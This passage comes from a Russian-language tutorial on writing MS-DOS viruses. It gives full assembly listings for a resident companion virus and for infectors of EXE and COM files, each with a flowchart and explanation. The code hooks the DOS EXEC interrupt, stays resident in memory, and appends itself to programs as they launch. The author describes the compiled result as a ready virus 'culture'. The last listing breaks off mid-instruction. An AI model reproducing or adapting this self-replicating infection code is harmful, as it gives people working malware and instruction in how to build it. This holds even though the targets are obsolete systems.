│ └─────────────────────────────────────────┘ В программе, реализующей эту блок/схему будет использована функция EXEC. Если вирус обнаруживает, что у него есть абсолютный тезка, - он не создает СОМ-файл, иначе это может привести к потере исходной СОМ-программы (совсем не обязательно это должна быть копия вируса, уже заразившая ЕХЕ-файл). Похоже что нижеприведенная программа в коментариях не нуждается: ┌──────────────────────────────────────────────────────────┐ │ пример 18 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N18 -- наипримитивнейший вирус-спутник ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; my_head: JMP initial ; ; f_number: DW 0 ;────данные───────────────────────┐ ; ; │ ; ;хранилище для адреса стандартного│ saved_int21: DD 0 ; обработчика прерывания 13 │ ; ; (2 слова) │ ; ; │ ; ;блок параметров EXEC процесса ──┐│ exec_EPB DW 0 ; сегментный адрес строки вызова││ DW 80h ;─┬указатель на командн. строку ││ DW 0 ;─┘ в PSP PSP:80h ││ DW 5Ch ;─┬указатель на блок FCB1 ││ DW 0 ;─┘ в PSP PSP:5Ch ││ DW 6Ch ;─┬указатель на блок FCB2 ││ DW 0 ;─┘ в PSP PSP:6Ch ──────────────┘│ ; ;─────────────────────────────────┘ ; ;┌─────процедура обработки прерывания 21h, функция 4Bh──┐ ;└──────────────────────────────────────────────(EXEC)──┘ int21_treater:CMP AH,4Bh JE begin JMP retro begin: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH DI PUSH SI ;┌─────пересылка имени запускаемого ЕХЕ-файла в буфер───┐ ;└────────────────────(имя передается в DS:DX (ASCIIZ))─┘ MOV DI,DX XOR SI,SI again: MOV AL,byte ptr DS:[DI] MOV byte ptr CS:[SI+buffer-100h ],AL MOV byte ptr CS:[SI+buffer-100h+30h],AL ;дублирование INC DI ;имени в буфе- INC SI ;ре CMP AL,0 JNE again ; ; ;┌─────смотрим, -- ЕХЕ- ли это, и если да -- заменяем───┐ ;└────в буфере расширение второй копии имени на СОМ-────┘ CMP word ptr CS:[SI+buffer-3-100h],4D4Fh JE not_exe CMP word ptr CS:[SI+buffer-5-100h],432Eh JE not_exe MOV word ptr CS:[SI+buffer-3-100h+30h],4D4Fh MOV byte ptr CS:[SI+buffer-4-100h+30h],43h ; ; ;┌─────смотрим, -- есть ли уже такой файл (с расширением┐ ;└─СОМ- и если да -- прекращаем работу──────────────────┘ PUSH CS POP DS MOV AH,4Eh MOV DX,OFFSET buffer - 100h + 30h MOV CX,0 CALL call_int21 JNC not_exe ; ; ;┌─────создать файл─────────────────────────────────────┐ └──────────────────────────────────────────────────────┘ MOV DX,OFFSET buffer - 100h + 30h ;имя.СОМ из буфера MOV CX,0 ;нормальный атрибут MOV AH,3Ch CALL call_int21 MOV word ptr CS:[f_number-100h],AX ; ; ;┌─────записать в файл свой код─────────────────────────┐ ;└──────────────────────────────────────────────────────┘ PUSH CS POP ES MOV BX,AX MOV DX,OFFSET my_head-100h ;ES:[DX] -- буфер записи MOV CX,SI ;┬учет длины имени файла ADD CX,my_end - my_head ;┘ в буфере MOV AH,40h CALL call_int21 ; ; ;┌─────закрыть файл─────────────────────────────────────┐ ;└──────────────────────────────────────────────────────┘ MOV BX,word ptr CS:[f_number-100h] MOV AH,3Eh CALL call_int21 not_exe: POP SI POP DI POP ES POP DS POP DX POP CX POP BX POP AX retro: JMP dword ptr CS:[saved_int21-100h] ; ; call_int21: ;┌───вызов обработчика прерывания 21h (процедура)────┐ PUSHF │ CALL dword ptr CS:[saved_int21-100h] │ RET │ ;└───────────────────────────────────────────────────┘ ; ; ; ; initial: ;┌─────проверка наличия резидентной копии в памяти───┐ ;└───────────────────────────────────────────────────┘ MOV AX,40h MOV ES,AX CMP byte ptr ES:[134h],55h JE no_tsr ;если копия есть - то не MOV byte ptr ES:[134h],55h ; создавать ее ; ; ;┌─────создание резидентной копии в памяти───────────┐ ;└───────────────────────────────────────────────────┘ MOV AX,CS:[02] ;берем вершину свободной памяти ; ; (в параграфах) ; SUB AX,30h ;уменьшаем ее на 20h (в парагр.) ; MOV SI,OFFSET my_head ;копируем из источника DS:head MOV ES,AX ;копируем в приемник ES:00; в ES XOR DI,DI ; - новая вершина своб. памяти MOV CX,my_end - my_head CLD REPE MOVSB ; MOV BX,DS DEC BX MOV DS,BX ;уменьшаем размер МСВ-блока SUB word ptr DS:[03h],30h ;уменьшаем вершину свободной SUB word ptr DS:[12h],30h ; памяти ; XOR BX,BX ; сохраняем старый вектор MOV DS,BX ; 13h в переслан. копию MOV AX,DS:[21h*4+0] MOV word ptr ES:[saved_int21-100h+0],AX MOV AX,DS:[21h*4+2] MOV word ptr ES:[saved_int21-100h+2],AX ; CLI ;кладем в таблицу векторов наш 13 MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;─>OFFSET MOV word ptr DS:[21h*4+2],ES ;──────>SEGMENT STI ; ; no_tsr: ;┌─────запуск настоящего ЕХЕ-файла (см ранние примеры) ;└───────────────────────────────────────────────────┘ MOV AX,OFFSET my_end + 200h ;необходимо позаботиться MOV CX,CS ; о стеке (он должен быть перемещен CLI ; в охраняемую область, начинающуюся MOV SS,CX ; следом за кодом процесса-родителя MOV SP,AX ; и не наследуемую дочерним процессом) STI ; MOV AH,4Ah ;необходимо дать место дочернему про- PUSH CS ; цессу (для этого нужно сжать блок POP ES ; памяти родителя до граници охраняе- MOV BX,60h ; мой области (стек+хранилище SS,ES, INT 21h ; SP); ES-сегмент; BX-длина (в па- ; ; раграфах) охраняемой области) ; CLI MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить MOV word ptr CS:[save_arrea+2],SP ; значения регистров MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS MOV word ptr CS:[save_arrea+6],DS ; STI ; MOV CX,20h ;сохранение DTA────┐ MOV SI,80h ; │ MOV DI,OFFSET save_arrea + 8 ; DS:SI ---> ES:DI │ CLD ; │ REPE MOVSB ;──────────────────┘ ; ; PUSH CS ;необходимо заполнить блок параметров POP DS ; запускаемого дочернего процесса MOV AX,CS ; (указываем сегмент. адрес PSP MOV exec_EPB+4h,AX ; для родительского MOV exec_EPB+8h,AX ; процесса) MOV exec_EPB+0Ch,AX ; MOV DX,OFFSET buffer ;DS:DX адрес ASCIIZ строки имени MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB XOR AL,AL ;код запуска = 0 (EXECUTE) MOV AH,4Bh INT 21h ; ; CLI MOV SS,word ptr CS:[save_arrea+0] ;восстановление MOV SP,word ptr CS:[save_arrea+2] ; сохраненных MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров MOV DS,word ptr CS:[save_arrea+6] STI ; MOV CX,20h ;восстановление DTA┐ MOV DI,80h ; │ MOV SI,OFFSET save_arrea + 8 ; ES:DI ---> DS:SI │ CLD ; │ REPE MOVSB ;──────────────────┘ ; INT 20h ;выход в DOS buffer: DB '1.EXE',0 my_end: ; save_arrea: ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Если Вы решите поиграть с этой программой, - укажите под меткой buffer имя какого-либо уже существующего файла. Откомпилировав пример 18, Вы полУчи- те вирус в виде "чистой культуры", не требующей имплантации в заражаемый файл. Его можно запустить как обычную программу. Но учтите, что здесь описан упрощенный вариант использвания процедуры EXEC (сегмент среды наследуется от родительск. процесса и т.д.); поэтому сложные программы, "зараженные" таким вирусом могут работать не корректно. гл.12 СТАНДАРТНЫЙ СПОСОБ ЗАРАЖЕНИЯ ЕХЕ-ФАЙЛОВ (о столь милых сердцу банальностях) ════════════════════════════════════════════════════════════════════════════ В литературе (/6/ и т.п.) однозначно дается определение стандартного способа заражения вирусами ЕХЕ- и СОМ-файлов. В частности стандартный способ заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа (значения CS и IP) таким образом, чтобы она соответствовала концу файла; за- тем он дописывается в конец (т.о. новая точка входа соответствует его нача- лу). При этом вирус сохраняет в себе изначальную точку входа, и когда он вы- полнит свою задачу -- передает управление по этому адресу. Помимо точки входа вирус может переопределить (а потом -- отреставрировать) значения SS и SP. И это -- все. Итак -- блок/схема: ┌──────────────────────┐ ┌────────────────────┤ JMP to_initialization│ │ └──────────────────────┘ │ │ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_ │ INT 21h ┌────────────────────────────────────────────┐ │ │ │ а функция ли это N 4Bh? если нет -- │ │ └─────>│ сваливаем на IRET───────────────────────────┐ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ а ЕХЕ- ли файл запускается? нет - уходим─────> │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │открыть запускаемый файл для чтения/записи │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │прочитать часть заголовка в свой буфер │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │проверить, - заражен ли уже? если да - уходим───> │ │а если нет, пометить как заражен. и продолж.│ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │сохранить исходн. настройки ЕХЕ-файла (CS,IP, │ │ │SS,SP) в своем коде │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │установка указателя на конец файла (при этом│ │ │ │мы получим длину файла в опред. формате (см.│ │ │ │выходные параметры функции LSEEK 42h) │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │по этим данным │ │ │ │корректировка длины файла в смещен. в буфер │ │ │ │части заголовка с учетом добавки вируса │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │определяем смещение от начала файла (от точки │ │ │после PSP) до его конца (смещение имеет фор-│ │ │ │мат, отличный от определенной выше длины) │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │при помощи вышеполученного смещения │ │ │ │корректировка CS:IP и SS:SP в смещенной в │ │ │ │буфер части заголовка │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │запись кода вируса (в конец файла) │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │установка указателя на начало файла │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │запись измененной части заголовка │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │закрыть файл │ │ │ └────────────┬──────────────┬────────────────┘ │ │ │ IRET │<───────────────────┘ │ └──────────────┘ │ │ ┌─────────────────────────────────────────┐ └───────────>│сажаем резидент в МСВ-блок (если его нет)│ └──────────────────┬──────────────────────┘ ┌──────────────────┴──────────────────────┐ │если запускается культура вируса - STOP │ └──────────────────┬──────────────────────┘ ┌──────────────────┴──────────────────────┐ │реставрируем SS,SP,CS,IP (переход на файл) └─────────────────────────────────────────┘ Вот какая программа у нас получилась: ┌──────────────────────────────────────────────────────────┐ │ пример 19 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N 19; пример стандартного зараж-я ЕХЕ-файлов ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; my_head: JMP initial ; ; f_number: DW 0 ;хранилище для описателя файла ; ; ;хранилище для адреса стандартного saved_int21: DD 0 ; обработчика прерывания 21 ; ; (2 слова) ; ; int21_treater:CMP AH,4Bh JE begin JMP retro ;возврат управления стандарт. обра- begin: PUSH AX ; ботчику INT 21h, если не EXEC PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH DI PUSH SI ;─────────────поиск конца имени запускаемого файла────────────┐ MOV DI,DX ;имя адресуется │ resend_again: INC DI ; DS:[DX] (входной│ CMP byte ptr DS:[DI],0 ; параметр EXEC) │ JNE resend_again ; │ ;─────────────────────────────────────────────────────────────┘ ;──────────если не ЕХЕ, то JMP на глобальный POP──────────────┐ CMP word ptr DS:[DI-2],4558h ; "XE" │ JNE to_no_exe ; │ CMP word ptr DS:[DI-4],452Eh ; ".Е" │ JE thats_exe ;(JNP short просто │ to_no_exe: JMP no_exe ; не достанет) │ ;─────────────────────────────────────────────────────────────┘ thats_exe: ;──────────открыть файл для чтения/записи─────────────────────┐ MOV CX,0 ;DS:[DX] имя файла │ MOV AH,3Dh ; │ MOV AL,2 ;открыть в режиме │ CALL call_int21 ;пиши-читай │ MOV word ptr CS:[f_number-100h],AX ; │ ;─────────────────────────────────────────────────────────────┘ ;───────────прочитать данные из заголовка в свой буфер────────┐ PUSH CS ; │ POP DS ; │ MOV AH,3Fh ; │ MOV DX,OFFSET data_exe - 100h ; │ MOV CX,20h ; │ MOV BX,word ptr CS:[f_number-100h] ; │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ ;───────────проверить, -- заражен ли уже──────────────────────┐ CMP word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура ? │ JNE thats_clear ; │ JMP no_exe ;да -- goodbye!│ thats_clear: MOV word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура set!│ ;─────────────────────────────────────────────────────────────┘ ;───────────сохранить исходн. настройки ЕХЕ-файла в своем коде┐ MOV AX,word ptr CS:[data_exe - 100h + 14h] ;─┬─IP сохране-│ MOV word ptr CS:[saved_ip - 100h + 1],AX ;─┘ ние в │ MOV AX,word ptr CS:[data_exe - 100h + 16h] ;─┬─CS коде ре-│ MOV word ptr CS:[saved_cs - 100h + 1],AX ;─┘ зидента │ MOV AX,word ptr CS:[data_exe - 100h + 10h] ;─┬─SP изменяе-│ MOV word ptr CS:[saved_sp - 100h + 1],AX ;─┘ мых на-│ MOV AX,word ptr CS:[data_exe - 100h + 0Eh] ;─┬─SS строек │ MOV word ptr CS:[saved_ss - 100h + 1],AX ;─┘ │ ;─────────────────────────────────────────────────────────────┘ ;───────────перемещаем указатель к концу файла ───────────────┐ XOR CX,CX ; │ XOR DX,DX ; │ MOV BX,word ptr CS:[f_number-100h] ; │ MOV AL,2 ; │ MOV AH,42h ;в AX,DX--получе- CALL call_int21 ;на длина файла│ ;─────────────────────────────────────────────────────────────┘ ;─────────корректировка длины файла в заголовке───────────────┐ PUSH AX ;в AX,DX--длина│ PUSH DX ; файла L │ MOV BX,200h ;AX = L div 512│ DIV BX ;DX = L mod 512│ INC AX ; │ ADD DX,1C3h ;длина вируса ;помещаем в сме- CMP DX,200h ; щенный заголо- JB no_add ; вок новую дли- INC AX ; ну файла (см.│ SUB DX,200h ; формат заго- │ no_add: MOV word ptr CS:[data_exe - 100h + 2h],DX ; ловка) │ MOV word ptr CS:[data_exe - 100h + 4h],AX ; │ POP DX ;в AX,DX--длина│ POP AX ; файла L │ ;─────────────────────────────────────────────────────────────┘ ;───определяем смещение от начала файла (от точки после PSP) ─┐ PUSH AX ; до его конца ; │ MOV AX,DX ; │ MOV BX,1000h ;AX -- сегмент │ MUL BX ; смещения │ POP DX ;DX -- офсет ||│ ; ; │ CMP AX,0 ;либо от AX от-│ JE sub_dx ; нимаем хедер,│ sub_ax: SUB AX,word ptr CS:[data_exe - 100h + 8h] ; │ JMP short length_got ; │ ; ; │ sub_dx: PUSH AX ; -- либо от DX│ PUSH DX ;В результате │ MOV AX,word ptr CS:[data_exe - 100h + 8h] ; всей этой мо-│ MOV BX,10h ; роки в AX:DX │ MUL BX ; получено сег-│ POP DX ; мент-оффсетн.│ SUB DX,AX ; смещ-е от на-│ POP AX ; чала файла │ length_got: ;──────└─наверное это можно было сделать намного изящнее─┘────┘ ;──────────корректировка точки начала пересылки (для посадки──┐ MOV word ptr CS:[M1 - 100h +1],DX ;резидента в МСВ-блок) │ ;─────────────────────────────────────────────────────────────┘ ;───────корректировка CS:IP и SS:SP в смещенном заголовке─────┐ MOV word ptr CS:[data_exe - 100h + 14h],DX ;───IP │ MOV word ptr CS:[data_exe - 100h + 16h],AX ;───CS │ ADD AX,50h ; │ MOV word ptr CS:[data_exe - 100h + 10h],DX ;───SP │ MOV word ptr CS:[data_exe - 100h + 0Eh],AX ;───SS │ ;─────────────────────────────────────────────────────────────┘ ;─────────────запись кода вируса──────────────────────────────┐ MOV BX,word ptr CS:[f_number-100h] ; │ MOV DX,OFFSET my_head-100h ;DS:[DX] буфер │ MOV CX,my_end - my_head ; │ MOV AH,40h ; │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ ;────────────установка LSEEK на начало────────────────────────┐ XOR CX,CX ; │ XOR DX,DX ; │ MOV BX,word ptr CS:[f_number-100h] ; │ MOV AL,0 ; │ MOV AH,42h ; │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ ;────────────запись измененных данных заголовка───────────────┐ MOV BX,word ptr CS:[f_number-100h] ; │ MOV DX,OFFSET data_exe-100h ;DS:[DX] буфер │ MOV CX,20h ; │ MOV AH,40h ; │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ ;─────────закрыть файл────────────────────────────────────────┐ to_close: MOV BX,word ptr CS:[f_number-100h] ; │ MOV AH,3Eh ; │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ no_exe: POP SI POP DI POP ES POP DS POP DX POP CX POP BX POP AX retro: JMP dword ptr CS:[saved_int21-100h] ; ; call_int21: ;───────вызов стандартного обработчика INT 21h─(процедура)────┐ PUSHF ; │ CALL dword ptr CS:[saved_int21-100h] ; │ RET ; │ ;─────────────────────────────────────────────────────────────┘ ; ; ; ; ; initial: PUSH DS ;────сохраняем адрес начала PSP PUSH ES ;────сохраняем ES ;──────────────проверяем наличие TSR - копии в памяти─────────┐ MOV AX,40h ; │ MOV ES,AX ; │ CMP byte ptr ES:[134h],55h ; │ JE no_tsr ; │ MOV byte ptr ES:[134h],55h ; │ ;─────────────────────────────────────────────────────────────┘ ;──────────────создаем TSR - копию────────────────────────────┐ MOV AX,DS:[02] ;берем вершину свободной памяти │ ; ; (в параграфах) │ SUB AX,30h ;уменьшаем ее на 40h (в парагр.) │ ; ; │ PUSH DS ;>> ;копируем из источника DS:head │ PUSH CS ;копируем в приемник ES:00; в ES │ POP DS ; - новая вершина своб. памяти │ m1: MOV SI,OFFSET my_head ; │ MOV ES,AX ;m1-метка команды с коррек- │ XOR DI,DI ; тируемым операндом │ MOV CX,my_end - my_head ; │ CLD ; │ REPE MOVSB ; │ POP DS ;<< ; │ ; ; │ MOV BX,DS ; │ DEC BX ; │ MOV DS,BX ;уменьшаем размер МСВ-блока │ SUB word ptr DS:[03h],30h ;уменьшаем вершину свободной│ SUB word ptr DS:[12h],30h ; памяти │ ;─────────────────────────────────────────────────────────────┘ ;─────────────перехват вектора────────────────────────────────┐ XOR BX,BX ; сохраняем старый │ MOV DS,BX ; вектор │ MOV AX,DS:[21h*4+0] ;48Bh ; │ MOV word ptr ES:[saved_int21-100h+0],AX ; │ MOV AX,DS:[21h*4+2] ;5BDh ; │ MOV word ptr ES:[saved_int21-100h+2],AX ; │ ; ; │ CLI ; замен. в таблице │ MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;─>OFST│ MOV word ptr DS:[21h*4+2],ES ;──────>SEGMENT │ STI ; │ ;─────────────────────────────────────────────────────────────┘ no_tsr: ;─────────────переход на начало с реставрацией регистров──────┐ POP AX ;───восстановленный DS │ MOV DS,AX ; │ ADD AX,10h ;───терерь это -- PSP │ POP ES ;───восстанавливаем ES │ ; ; │ CMP word ptr CS:[00],20CDh ;нужно лишь для самого первого │ JNE no_first ; запуска культуры вируса │ RET ; │ ; ; │ no_first: CLI ;восстанавливаем стек: │ saved_ss: MOV CX,1234h ; вместо 1234h сюда при зараже-│ ADD CX,AX ; нии будет записано исходное ││ MOV SS,CX ; значение SS ││ saved_sp: MOV SP,1234h ;а сюда, -- исход. значение SP││ STI ;└──┬─────────────────────────┘│ ; ; │ │ ; ; │ │ saved_cs: MOV DI,1234h ;а сюда, -- исход. значение CS │ ADD AX,DI ; │ │ PUSH AX ; │ │ saved_ip: MOV AX,1234h ;а сюда, -- исход. значение IP │ PUSH AX ; │ RETF ; │ ;─────────────────────────────────────────────────────────────┘ data_exe: ; my_end: ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Чуть-чуть покоментируем. В программе Вам ┌CMP word ptr CS:[00],20CDh встретился такой-вот фрагмент:───────────────────┤JNE no_first Он нужен лишь для того, чтобы во время сАмого └RET первого запуска чистой культуры вируса (а именно таковой и является наша про- грамма) не произошло крушения. Культура нам нужна для возможности создания комбинированного вируса, "вируса-авианосца" способного хранить в себе в за- шифрованном виде отдельные вирусы и "выпускать" их время от времени. Культура -- СОМ-файл, => CS=DS=ES=PSP,а в вершине PSP всегда лежит слово 20CDh (ко- манда INT 20h). Зараженный же файл -- ЕХЕ-файл, в котором CS<>PSP и по ад- ресу CS:[00] 20CDh никоим образом находиться не может. Чтобы после запуска вирус передал управление ЕХЕ-файлу, он должен хра- нить значения регистров CS,SS,SP,IP для точки входа в этот файл. Резидентная часть вируса при заражении файла сохраняет эти значения прямо на месте опе- рандов команд, входящих в процедуру возврата в ЕХЕ-файл. Эти модифицируемые операнды изначально были равны 1234h. При заражении файла происходит также коррекция операнда в команде из блока посадки резидента (ибо в ней используется относительный адрес, который изменится при дописывании вируса в конец ЕХЕ-файла). Заражение сложных модулей, подгружающих оверлеи, может происходить не вполне корректно. Как избежать любых неприятностей в этой области -- погово- рим позднее. Алгоритм вычислениния смещения от начала ЕХЕ-файла написан в лоб, "по-жокейски". Можете придумать свой, более элегантный способ. гл.13 СТАНДАРТНЫЙ СПОСОБ ЗАРАЖЕНИЯ СОМ-ФАЙЛОВ (здесь-то уж Вы точно ничего нового не найдете) ════════════════════════════════════════════════════════════════════════════ Ну абсолютно ничего нового! Алгоритм такой же, как и в предыдущем приме- ре, но намного проще (несколько коряво сказано). Вот блок/схема: ┌──────────────────────┐ ┌───────────────────────┤ JMP to_initialization│ │ └──────────────────────┘ │ │ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_ │ INT 21h ┌────────────────────────────────────────────┐ │ │ │ а функция ли это N 4Bh? если нет -- │ │ └─────>│ сваливаем на IRET───────────────────────────┐ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ а СОМ- ли файл запускается? нет - уходим─────> │ │ и если запускается COMMAND.COM тоже уходим─────> │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │открыть запускаемый файл для чтения/записи │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │прочитать первые 6 байт в свой буфер │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │проверить, - заражен ли уже? если да - уходим───> │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │установка указателя на конец файла (при этом│ │ │ │мы получим длину файла в опред. формате (см.│ │ │ │выходные параметры функции LSEEK 42h) │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │по этим данным коррекция адресов в иници- │ │ │ │ализационной части │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │запись кода вируса в конец файла │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │установка указателя на начало файла │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │запись в начало файла JMP far на код вируса │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │закрыть файл │ │ │ └────────────┬──────────────┬────────────────┘ │ │ │ IRET │<───────────────────┘ │ └──────────────┘ │ │ ┌─────────────────────────────────────────┐ └───────────>│сажаем резидент в МСВ-блок (если его нет)│ └──────────────────┬──────────────────────┘ ┌──────────────────┴──────────────────────┐ │реставрация начала файла (пересылка из бу- │фера сохраненного при заражении начала │ │файла в его начало) и переход на него │ └─────────────────────────────────────────┘ А вот -- программа: ┌──────────────────────────────────────────────────────────┐ │ пример 20 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N20 пример стандарт. зараж-я СОМ-файлов ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; my_head: JMP initial ; ; f_number: DW 0 ; ; ;хранилище для адреса стандартного saved_int21: DD 0 ; обработчика прерывания 13 ; ; (2 слова) ; int21_treater:CMP AH,4Bh JE begin JMP retro begin: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH DI PUSH SI ;─────────поиск конца имени запускаемого файла───────────────┐ MOV DI,DX │ again: INC DI │ CMP byte ptr DS:[DI],0 │ JNE again │ ;────────────────────────────────────────────────────────────┘ ;─────────анализ расширения запускаемого файла───────────────┐ CMP byte ptr DS:[DI-5],44h ;не трогать COMMAND.COM !!!│ JE to_no_com │ CMP word ptr DS:[DI-2],4D4Fh ;трогать лишь .COM файлы │ JNE to_no_com │ CMP word ptr DS:[DI-4],432Eh │ JE allowed ;если COMMAND.COM или не │ to_no_com: JMP no_com ; .COM; -- уходим на IRET │ ;────────────────────────────────────────────────────────────┘ allowed: ;─────────открыть файл───────────────────────────────────────┐ MOV CX,0 ;В DS:[DX] содержится имя файла│ MOV AH,3Dh ; (параметр функции EXEC) │ MOV AL,2 │ CALL call_int21 │ MOV word ptr CS:[f_number - 100h],AX │ ;────────────────────────────────────────────────────────────┘ ;─────────прочитать начало файла (6 байт) в буфер────────────┐ PUSH CS │ POP DS │ MOV BX,word ptr CS:[f_number - 100h] │ MOV AH,3Fh │ MOV DX,OFFSET data_exe - 100h ;DS:[DX] - буфер │ MOV CX,6h │ CALL call_int21 │ ;────────────────────────────────────────────────────────────┘ ;─────────проверить, есть ли в этих 6 байтах код вируса──────┐ CMP word ptr CS:[data_exe - 100h + 3],500Eh │ JNE treat │ CMP byte ptr CS:[data_exe - 100h + 5],0CBh │ JNE treat │ JMP to_close ;если есть -- уходим│ ;────────────────────────────────────────────────────────────┘ ;─────────перемещаем указатель к концу файла─────────────────┐ treat: XOR CX,CX │ XOR DX,DX │ MOV BX,word ptr CS:[f_number - 100h] │ MOV AL,2 │ MOV AH,42h │ CALL call_int21 ;В AX получаем длину файла (она │ CMP AX,0E000h ; заведомо < 65 Кб); Если файл │ JA to_close ; слишком длинен для нас - уходим│ ;────────────────────────────────────────────────────────────┘ ;─────────коррекция адресов в инициализационной части (учет──┐ ; смещения вируса от начала заражаемого файла) │ ; │ MOV CX,OFFSET my_head ;адрес откуда будет копи- │ ADD CX,AX ;роваться резидент в МСВ- │ MOV word ptr CS:[correct1 - 100h + 1],CX ;блок │ ; │ MOV CX,OFFSET data_exe ;адрес откуда будет пере- │ ADD CX,AX ;сылаться сохраненное на- │ MOV word ptr CS:[correct2 - 100h + 1],CX ;чало файла │ ; │ MOV CX,100h ;операнд блока, делающего │ ADD CX,AX ;JMP на вирус и им-│ MOV word ptr CS:[where_jmp - 100h],CX ;лантирумого в файл│ ;────────────────────────────────────────────────────────────┘ ;─────────записываем код вируса в конец файла────────────────┐ MOV BX,word ptr CS:[f_number - 100h] │ MOV DX,OFFSET my_head - 100h │ MOV CX,my_end - my_head │ MOV AH,40h │ CALL call_int21 │ ;────────────────────────────────────────────────────────────┘ ;─────────перемещаем указатель к началу файла────────────────┐ XOR CX,CX │ XOR DX,DX │ MOV BX,word ptr CS:[f_number - 100h] │ MOV AL,0 │ MOV AH,42h │ CALL call_int21 │ ;────────────────────────────────────────────────────────────┘ ;─────────пишем в начало файла JMP far на себя───────────────┐ MOV BX,word ptr CS:[f_number - 100h] │ MOV DX,OFFSET implant - 100h ;ES:[DX] - буфер│ MOV CX,6 │ MOV AH,40h │ CALL call_int21 │ ;────────────────────────────────────────────────────────────┘ ;─────────закрываем файл─────────────────────────────────────┐ to_close: MOV BX,word ptr CS:[f_number - 100h] │ MOV AH,3Eh │ CALL call_int21 │ ;────────────────────────────────────────────────────────────┘ no_com: POP SI POP DI POP ES POP DS POP DX POP CX POP BX POP AX retro: JMP dword ptr CS:[saved_int21 - 100h] ; ; call_int21: ;───────вызов стандартного обработчика INT 21h─(процедура)───┐ PUSHF ; │ CALL dword ptr CS:[saved_int21-100h] ; │ RET ; │ ;────────────────────────────────────────────────────────────┘ ; ; ; initial: ;───────проверяем наличие своей TSR - копии в памяти─────────┐ MOV AX,40h ; │ MOV ES,AX ; │ CMP byte ptr ES:[134h],55h ; │ JE no_tsr ; │ MOV byte ptr ES:[134h],55h ; │ ;────────────────────────────────────────────────────────────┘ ;────────создаем TSR - копию─────────────────────────────────┐ MOV AX,CS:[02] ;берем вершину свободной памяти │ ; ; (в параграфах) │ ; │ SUB AX,20h ;уменьшаем ее на 20h (в парагр.)│ ; │ correct1: MOV SI,OFFSET my_head ;копируем из источника DS:head │ MOV ES,AX ;копируем в приемник ES:00; в ES│ XOR DI,DI ; - новая вершина своб. памяти│ MOV CX,my_end - my_head ; │ CLD ; │ REPE MOVSB ; │ ; ; │ MOV BX,DS ; │ DEC BX ; │ MOV DS,BX ;уменьшаем размер МСВ-блока │ SUB word ptr DS:[03h],20h ;уменьшаем вершину свободной │ SUB word ptr DS:[12h],20h ; памяти │ ;────────────────────────────────────────────────────────────┘ ;────────────перехват вектора────────────────────────────────┐ XOR BX,BX ; сохраняем старый вектор │ MOV DS,BX ; 13h в переслан. копию │ MOV 